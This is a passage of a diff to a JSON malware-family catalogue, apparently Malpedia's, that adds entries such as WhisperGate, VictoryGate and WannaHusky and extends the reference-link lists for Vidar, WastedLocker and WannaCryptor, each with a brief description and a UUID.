"description": "This is third stage backdoor mentioned in the Kaspersky blog, \"Andariel evolves to target South Korea with ransomware\". The third stage payload was created via the second stage payload, is interactively executed in the operation and exists in both x64 and x86 versions. Most of them use Internet Explorer or Google Chrome icons and corresponding file names to disguise themselves as legitimate internet browsers. The malware decrypts the embedded payload at runtime. It uses an embedded 16-byte XOR key to decrypt the base64 encoded payload. The decrypted payload is another portable executable file that runs in memory. Before getting decrypted with a hardcoded XOR key, the backdoor also checks for sandbox environment.\r\nThe backdoor has some code overlap with a know malware family PEBBLEDASH, attributed to Lazarus/LABYRINTH CHOLLIMA.", - "meta": { - "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_082", - "https://www.brighttalk.com/webcast/18282/493986", - "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/" - ], - "synonyms": [], - "type": [] - }, - "uuid": "082d2e86-d320-43cf-a602-f7bee7e3f3d4", - "value": "Unidentified 082" - }, { "description": "", "meta": { @@ -36130,6 +42329,71 @@ "uuid": "f80e8948-8e1e-4ecf-8d5e-08148e4dd2b0", "value": "Unidentified 085" }, + { + "description": "Symantec describes this family as an unidentified tool set used to target a range of organizations in South East Asia. The campaign was first noticed in September 2020.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_087", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-campaign-south-east-asia?s=09" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a4c9861e-93c6-4b2b-aa2d-71c1405375b4", + "value": "Unidentified 087 " + }, + { + "description": "Ransomware written in Nim.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_088", + "https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d7f1e6cf-1880-426a-881a-619309f32c37", + "value": "Unidentified 088 (Nim Ransomware)" + }, + { + "description": "Downloader used in suspected APT attack against Vietnam.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_089", + "https://kienmanowar.wordpress.com/2022/01/26/quicknote-analysis-of-malware-suspected-to-be-an-apt-attack-targeting-vietnam/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "685c9c30-aa9f-43ee-a262-43c17c350049", + "value": "Unidentified 089 (Downloader)" + }, + { + "description": "Recon/Loader malware attributed to Lazarus, disguised as Notepad++ shell extension.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_090", + "https://cybergeeks.tech/a-detailed-analysis-of-lazarus-malware-disguised-as-notepad-shell-extension/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "565de3f5-7eb7-43ca-a9d9-b588dfd6a50a", + "value": "Unidentified 090 (Lazarus)" + }, + { + "description": "Avast found this unidentified RAT, which abuses a code-signing certificate by the Philippine Navy. It is statically linked against OpenSSL 1.1.1g.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_091", + "https://decoded.avast.io/threatintel/avast-finds-compromised-philippine-navy-certificate-used-in-remote-access-tool/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "33c8e201-9cd1-4a44-9380-3e3d3d6894c3", + "value": "Unidentified 091" + }, { "description": "", "meta": { @@ -36218,20 +42482,23 @@ "value": "UrlZone" }, { - "description": "", + "description": "Uroburos is a driver for Windows, including a bypass of PatchGuard. According to Andrzej Dereszowski and Matthieu Kaczmarek, \"the techniques used demonstrate [their] excellent knowledge of Windows kernel internals.\"", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.uroburos", "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/", "https://www.gdatasoftware.com/blog/2014/05/23958-uroburos-rootkit-belgian-foreign-ministry-stricken", - "https://www.secureworks.com/research/threat-profiles/iron-hunter", + "https://exatrack.com/public/Uroburos_EN.pdf", "https://www.gdatasoftware.com/blog/2014/03/23966-uroburos-deeper-travel-into-kernel-protection-mitigation", "https://www.circl.lu/pub/tr-25/", + "https://artemonsecurity.com/uroburos.pdf", + "https://exatrack.com/public/Tricephalic_Hellkeeper.pdf", "https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified", "https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/", "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", "https://www.gdatasoftware.com/blog/2014/02/23968-uroburos-highly-complex-espionage-software-with-russian-roots", + "https://www.secureworks.com/research/threat-profiles/iron-hunter", "https://www.gdatasoftware.com/blog/2014/06/23953-analysis-of-uroburos-using-windbg", "https://www.carbonblack.com/2017/08/18/threat-analysis-carbon-black-threat-research-dissects-png-dropper/" ], @@ -36249,6 +42516,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.usbculprit", "https://securelist.com/cycldek-bridging-the-air-gap/97157/", + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", "https://drive.google.com/file/d/11otA_VmL061KcFC5MhDYuNdIKHYbpyrd/view" ], "synonyms": [], @@ -36263,7 +42531,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.usbferry", "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-troopers-back-usbferry-attack-targets-air-gapped-environments/", - "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf" + "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf" ], "synonyms": [], "type": [] @@ -36374,6 +42643,7 @@ "https://twitter.com/malwrhunterteam/status/1095024267459284992", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/buran-ransomware-the-evolution-of-vegalocker/", "https://twitter.com/malwrhunterteam/status/1093136163836174339", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618" ], "synonyms": [ @@ -36414,7 +42684,7 @@ "value": "Venom RAT" }, { - "description": "", + "description": "VenomLNK is the initial phase of the more_eggs malware-as-a-service. It is a poisoned .lnk file that depends on User Execution and points to LOLBINs (often cmd.exe) with additional obfuscated scripting options. This typically initiates WMI abuse and TerraLoader, which can load additional functionality through various plugins.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.venom_lnk", @@ -36486,9 +42756,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vhd_ransomware", - "https://securelist.com/apt-trends-report-q2-2020/97937/", "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", + "https://securelist.com/apt-trends-report-q2-2020/97937/", "https://twitter.com/GrujaRS/status/1241657443282825217", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-sound-of-malware.html", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/the-hermit-kingdoms-ransomware-play.html", "https://seguranca-informatica.pt/secrets-behind-the-lazaruss-vhd-ransomware/" ], "synonyms": [], @@ -36497,29 +42769,61 @@ "uuid": "fb0ad46d-20b6-4e8c-b401-702197667272", "value": "VHD Ransomware" }, + { + "description": "VictoryGate was the name of a cryptomining botnet, which was disrupted by ESET researchers in April 2020. The used malware itself was also referred to as VictoryGate. It was spotted in May 2019 and targeted mainly Latin American users, specifically, Peru (Criptonizando states 90% of the botnet publication residing there). Both public and private sectors were targeted.\r\nThis cryptojacking malware was specialized in Monero (XRM) cryptocurrency.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.victorygate", + "https://criptonizando.com/35-mil-computadores-foram-infectados-na-america-latina-por-malware-que-minerava-monero/", + "https://www.welivesecurity.com/2020/04/23/eset-discovery-monero-mining-botnet-disrupted/", + "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", + "https://www.eset.com/int/about/newsroom/press-releases/research/eset-researchers-disrupt-cryptomining-botnet-victorygate/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "229cd7f6-2514-42b8-baa6-0c2a22cd5d9c", + "value": "VictoryGate" + }, { "description": "Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar", - "https://medium.com/s2wlab/deep-analysis-of-vidar-stealer-ebfc3b557aed", - "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", "https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d", - "https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/", - "https://tccontre.blogspot.com/2019/03/infor-stealer-vidar-trojanspy-analysis.html", + "https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/", + "https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/", + "https://medium.com/s2wlab/deep-analysis-of-vidar-stealer-ebfc3b557aed", + "https://www.csoonline.com/article/3654849/microsoft-help-files-repurposed-to-contain-vidar-malware-in-new-campaign.html", + "https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/", + "https://asec.ahnlab.com/en/30875/", + "https://eln0ty.github.io/malware%20analysis/vidar/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vidar-malware-launcher-concealed-in-help-file/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://twitter.com/sisoma2/status/1409816282065743872", + "https://asec.ahnlab.com/en/30445/", + "https://cert.pl/en/posts/2021/10/vidar-campaign/", "https://docs.google.com/spreadsheets/d/1nx42rdMdkCrvlmACDi3CHseyG87iSV1Y6rGZYq_-oDk", + "https://www.zscaler.com/blogs/security-research/vidar-distributed-through-backdoored-windows-11-downloads-and-abusing", + "https://asec.ahnlab.com/en/22932/", + "https://threatpost.com/microsoft-help-files-vidar-malware/179078/", + "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", + "https://www.bleepingcomputer.com/news/security/fake-pixelmon-nft-site-infects-you-with-password-stealing-malware/", + "https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/", + "https://tccontre.blogspot.com/2019/03/infor-stealer-vidar-trojanspy-analysis.html", + "https://intel471.com/blog/privateloader-malware", + "https://blog.malwarebytes.com/threat-analysis/2019/01/vidar-gandcrab-stealer-and-ransomware-combo-observed-in-the-wild/", + "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", "https://www.trendmicro.com/en_us/research/21/i/fake-installers-drop-malware-and-open-doors-for-opportunistic-attackers.html", "https://blog.minerva-labs.com/vidar-stealer-evasion-arsenal", - "https://asec.ahnlab.com/en/22932/", - "https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/" + "https://asec.ahnlab.com/ko/25837/", + "https://isc.sans.edu/diary/rss/28468" ], "synonyms": [], "type": [] }, "uuid": "1f44c08a-b427-4496-9d6d-909b6bf34b9b", - "value": "vidar" + "value": "Vidar" }, { "description": "Wiper malware discovered by Japanese security firm Mitsui Bussan Secure Directions (MBSD), which is assumed to target Japan, the host country of the 2021 Summer Olympics. In addition to targeting common file Office-related files, it specifically targets file types associated with the Japanese word processor Ichitaro.", @@ -36564,6 +42868,7 @@ "https://blog.malwarebytes.com/threat-analysis/2018/03/blast-from-the-past-stowaway-virut-delivered-with-chinese-ddos-bot/", "https://www.theregister.co.uk/2018/01/10/taiwanese_police_malware/", "https://www.spamhaus.org/news/article/690/cooperative-efforts-to-shut-down-virut-botnet", + "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", "https://securelist.com/review-of-the-virus-win32-virut-ce-malware-sample/36305/" ], "synonyms": [], @@ -36590,7 +42895,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.vjw0rm", + "https://community.riskiq.com/article/24759ad2", + "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape", "https://bazaar.abuse.ch/browse/signature/Vjw0rm/", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", + "https://twitter.com/tccontre18/status/1461386178528264204", + "https://lifars.com/wp-content/uploads/2021/09/Vjw0rm-.pdf", + "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", "https://appriver.com/resources/blog/november-2020/vjw0rm-back-new-tactics" ], "synonyms": [], @@ -36655,6 +42966,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.volgmer", + "https://lifars.com/wp-content/uploads/2021/09/Lazarus.pdf", "https://www.us-cert.gov/ncas/alerts/TA17-318B", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://www.secureworks.com/research/threat-profiles/nickel-academy", @@ -36784,15 +43096,18 @@ "https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html", "https://dissectingmalwa.re/third-times-the-charm-analysing-wannacry-samples.html", "https://baesystemsai.blogspot.de/2017/05/wanacrypt0r-ransomworm.html", + "https://swanleesec.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", "https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168", "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", + "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/WannaCry-Aftershock.pdf", "https://blog.malwarebytes.com/cybercrime/2017/05/how-did-wannacry-ransomworm-spread/", "https://themoscowtimes.com/news/wcry-virus-reportedly-infects-russian-interior-ministrys-computer-network-57984", - "https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", + "https://blog.comae.io/wannacry-decrypting-files-with-wanakiwi-demo-86bafb81112d", + "https://news.sophos.com/en-us/2019/09/18/the-wannacry-hangover/", "https://blog.comae.io/wannacry-new-variants-detected-b8908fefea7e", "https://www.il-pib.pl/czasopisma/JTIT/2019/1/113.pdf", "https://krebsonsecurity.com/2017/05/u-k-hospitals-hit-in-widespread-ransomware-attack/", - "https://securelist.com/blog/incidents/78351/wannacry-ransomware-used-in-widespread-attacks-all-over-the-world/", + "https://github.com/0xZuk0/rules-of-yaras/blob/main/reports/Wannacry%20Ransomware%20Report.pdf", "https://news.sophos.com/en-us/2021/03/15/dearcry-ransomware-attacks-exploit-exchange-server-vulnerabilities/", "https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf", "https://blog.gdatasoftware.com/2017/05/29751-wannacry-ransomware-campaign", @@ -36800,11 +43115,13 @@ "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", "https://blog.avast.com/ransomware-that-infected-telefonica-and-nhs-hospitals-is-spreading-aggressively-with-over-50000-attacks-so-far-today", "http://www.independent.co.uk/news/uk/home-news/wannacry-malware-hack-nhs-report-cybercrime-north-korea-uk-ben-wallace-a8022491.html", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://www.youtube.com/watch?v=Q90uZS3taG0", - "https://blog.comae.io/wannacry-decrypting-files-with-wanakiwi-demo-86bafb81112d", + "https://metaswan.github.io/posts/Malware-Lazarus-group's-Brambul-worm-of-the-former-Wannacry-1", "https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "http://blog.emsisoft.com/2017/05/12/wcry-ransomware-outbreak/" + "http://blog.emsisoft.com/2017/05/12/wcry-ransomware-outbreak/", + "https://securelist.com/blog/incidents/78351/wannacry-ransomware-used-in-widespread-attacks-all-over-the-world/" ], "synonyms": [ "Wana Decrypt0r", @@ -36816,6 +43133,19 @@ "uuid": "ad67ff31-2a02-43f9-8b12-7df7e4fcccd6", "value": "WannaCryptor" }, + { + "description": "According to Mars, WannaHusky is a Nim-compiled ransomware malware sample, created for demonstration purposes and provided as part of the Practical Malware Analysis & Triage course provided by HuskyHacks.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.wannahusky", + "https://medium.com/@mars0x/wannahusky-malware-analysis-w-yara-ttps-2069fb479909" + ], + "synonyms": [], + "type": [] + }, + "uuid": "10fc30fe-9f64-4765-a341-acde878f105c", + "value": "WannaHusky" + }, { "description": "Ransomware.", "meta": { @@ -36829,6 +43159,19 @@ "uuid": "44f548e2-9a47-433a-bccf-fff412d2963b", "value": "WannaRen" }, + { + "description": "This malware looks similar to WastedLocker, but the ransomware component is missing.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedloader", + "https://www.bitdefender.com/files/News/CaseStudies/study/397/Bitdefender-PR-Whitepaper-RIG-creat5362-en-EN.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c6b601f6-4cb6-4e7b-98fd-35af910ec0d8", + "value": "WastedLoader" + }, { "description": "WastedLocker is a ransomware detected to be in use since May 2020 by EvilCorp. The ransomware name is derived from the filename that it creates which includes an abbreviation of the victim’s name and the string ‘wasted’. WastedLocker is protected with a custom crypter, referred to as CryptOne by Fox-IT InTELL. On examination, this crypter turned out to be very basic and was used also by other malware families such as: Netwalker, Gozi ISFB v3, ZLoader and Smokeloader. The crypter mainly contains junk code to increase entropy of the sample and hide the actual code.", "meta": { @@ -36837,6 +43180,7 @@ "https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html", "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://ioc.hatenablog.com/entry/2020/08/16/132853", "https://blog.talosintelligence.com/2020/07/wastedlocker-emerges.html", "https://blog.truesec.com/2021/05/05/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies/", @@ -36844,29 +43188,39 @@ "https://unit42.paloaltonetworks.com/wastedlocker/", "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", "https://areteir.com/wp-content/uploads/2020/07/Ransomware-WastedLocker-1.pdf", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://www.bleepingcomputer.com/news/security/garmin-outage-caused-by-confirmed-wastedlocker-ransomware-attack/", + "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", "https://blog.malwarebytes.com/threat-spotlight/2020/07/threat-spotlight-wastedlocker-customized-ransomware/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://www.bitdefender.com/files/News/CaseStudies/study/397/Bitdefender-PR-Whitepaper-RIG-creat5362-en-EN.pdf", "https://www.bleepingcomputer.com/news/security/insurance-giant-cna-hit-by-new-phoenix-cryptolocker-ransomware/", "https://www.bleepingcomputer.com/news/security/evil-corp-switches-to-hades-ransomware-to-evade-sanctions/", "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd", "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/", "https://securelist.com/wastedlocker-technical-analysis/97944/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us", "https://kc.mcafee.com/corporate/index?page=content&id=KB93302&locale=en_US", - "https://symantec.broadcom.com/hubfs/SED-Threats-Financial-Sector.pdf", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://www.bbc.com/news/world-us-canada-53195749", + "https://www.sentinelone.com/labs/sanctions-be-damned-from-dridex-to-macaw-the-evolution-of-evil-corp/", "https://medium.com/walmartglobaltech/wastedloader-or-dridexloader-4f47c9b3ae77", "http://www.secureworks.com/research/threat-profiles/gold-drake", "https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://seguranca-informatica.pt/wastedlocker-malware-analysis/#.YfAaIRUITTY.twitter", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://news.sophos.com/en-us/2020/08/04/wastedlocker-techniques-point-to-a-familiar-heritage/", "https://www.securonix.com/web/wp-content/uploads/2020/08/Securonix_Threat_Research_WastedLocker_Ransomware.pdf", "https://labs.sentinelone.com/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/", + "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://www.bbc.com/news/world-us-canada-53195749", + "https://symantec.broadcom.com/hubfs/SED-Threats-Financial-Sector.pdf", "https://unit42.paloaltonetworks.com/atoms/wastedlocker-ransomware/" ], "synonyms": [], @@ -37165,6 +43519,85 @@ "uuid": "8ec2d984-8c10-49f2-ad97-64af275a7afc", "value": "WeSteal" }, + { + "description": "Destructive malware deployed against targets in Ukraine in January 2022.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.whispergate", + "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/", + "https://therecord.media/second-data-wiper-attack-hits-ukraine-computer-networks/", + "https://blog.gigamon.com/2022/01/28/focusing-on-left-of-boom/", + "https://www.crowdstrike.com/blog/who-is-ember-bear/", + "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", + "https://blogs.blackberry.com/en/2022/01/threat-thursday-whispergate-wiper", + "https://www.splunk.com/en_us/blog/security/threat-advisory-strt-ta02-destructive-software.html", + "https://www.netskope.com/blog/netskope-threat-coverage-whispergate", + "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", + "https://www.crowdstrike.com/blog/how-crowdstrike-protects-against-data-wiping-malware/", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://www.youtube.com/watch?v=Ek3URIaC5O8", + "https://www.splunk.com/en_us/blog/security/threat-advisory-strt-ta02-destructive-software.html?splunk", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/return-of-pseudo-ransomware.html", + "https://www.cadosecurity.com/resources-for-dfir-professionals-responding-to-whispergate-malware/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/update-on-whispergate-destructive-malware-targeting-ukraine.html", + "https://intel471.com/blog/russia-ukraine-conflict-cybercrime-underground", + "https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html", + "https://stairwell.com/news/whispers-in-the-noise-microsoft-ukraine-whispergate/", + "https://www.youtube.com/watch?v=2nd-f1dIfD4", + "https://twitter.com/nunohaien/status/1484088885575622657", + "https://blogs.blackberry.com/en/2022/02/threat-spotlight-whispergate-wiper-wreaks-havoc-in-ukraine", + "https://cert.gov.ua/article/18101", + "https://twitter.com/HuskyHacksMK/status/1482876242047258628", + "https://zetter.substack.com/p/dozens-of-computers-in-ukraine-wiped", + "https://www.recordedfuture.com/whispergate-malware-corrupts-computers-ukraine/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-057A_Destructive_Malware_Targeting_Organizations_in_Ukraine.pdf", + "https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/growling-bears-make-thunderous-noise.html", + "https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa/", + "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", + "https://www.crowdstrike.com/blog/lessons-from-past-cyber-operations-against-ukraine/", + "https://go.recordedfuture.com/hubfs/reports/pov-2022-0127.pdf", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-057a", + "https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/", + "https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation", + "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", + "https://www.brighttalk.com/webcast/15591/534324", + "https://info.cyborgsecurity.com/hubfs/Emerging%20Threats/WhisperGate%20Malware%20Update%20-%20Emerging%20Threat.pdf", + "https://blogs.microsoft.com/on-the-issues/2022/01/15/mstic-malware-cyberattacks-ukraine-government/", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine", + "https://www.secureworks.com/blog/disruptive-attacks-in-ukraine-likely-linked-to-escalating-tensions", + "https://rxored.github.io/post/analysis/whispergate/whispergate/", + "https://www.crowdstrike.com/blog/technical-analysis-of-whispergate-malware/", + "https://zetter.substack.com/p/hackers-were-in-ukraine-systems-months", + "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/Debugging%20MBR%20-%20IDA%20+%20Bochs%20Emulator/Debugging%20MBR%20-%20IDA%20+%20Bochs%20Emulator.md", + "https://www.secureworks.com/blog/whispergate-not-notpetya", + "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", + "https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", + "https://lifars.com/2022/01/a-detailed-analysis-of-whispergate-targeting-ukrainian-organizations/", + "https://csirt-mon.wp.mil.pl/pl/articles6-aktualnosci/analysis-cyberattack-ukrainian-government-resources/", + "https://github.com/OALabs/Lab-Notes/blob/main/WhisperGate/WhisperGate.ipynb", + "https://twitter.com/knight0x07/status/1483401072102502400", + "https://lifars.com/2022/03/a-closer-look-at-the-russian-actors-targeting-organizations-in-ukraine/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://inquest.net/blog/2022/02/10/380-glowspark", + "https://twitter.com/Libranalysis/status/1483128221956808704", + "https://thehackernews.com/2022/02/putin-warns-russian-critical.html", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord?", + "https://maxkersten.nl/binary-analysis-course/malware-analysis/dumping-whispergates-wiper-from-an-eazfuscator-obfuscated-loader/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf", + "https://www.bitdefender.com/blog/hotforsecurity/five-things-you-need-to-know-about-the-cyberwar-in-ukraine/" + ], + "synonyms": [ + "PAYWIPE" + ], + "type": [] + }, + "uuid": "6001ed9f-9108-4481-9980-dc6e5c1908a0", + "value": "WhisperGate" + }, { "description": "According to Dr.Web, WhiteBird is a backdoor written in C++ and designed to operate in both 32-bit and 64-bit Microsoft Windows operating systems. The configuration is encrypted with a single byte XOR key. An interesting feature is that the malware can be restricted to operate only within certain \"working_hours\" with a granularity of one minute.", "meta": { @@ -37179,6 +43612,22 @@ "uuid": "20286294-3813-4c17-a165-ef12aae64303", "value": "WhiteBird" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.whiteblackcrypt", + "https://www.checkmal.com/video/read/3605/", + "https://sebdraven.medium.com/whisperkill-vs-whiteblackcrypt-un-petit-soucis-de-fichiers-9c4dcd013316" + ], + "synonyms": [ + "WARYLOOK" + ], + "type": [] + }, + "uuid": "f587a5a2-907e-456c-91e9-74fd997c03b5", + "value": "WhiteBlackCrypt" + }, { "description": "", "meta": { @@ -37191,6 +43640,22 @@ "uuid": "2f512a73-6847-4231-81c6-8b51af8b5be2", "value": "WildFire" }, + { + "description": "Information stealer used by threat actor 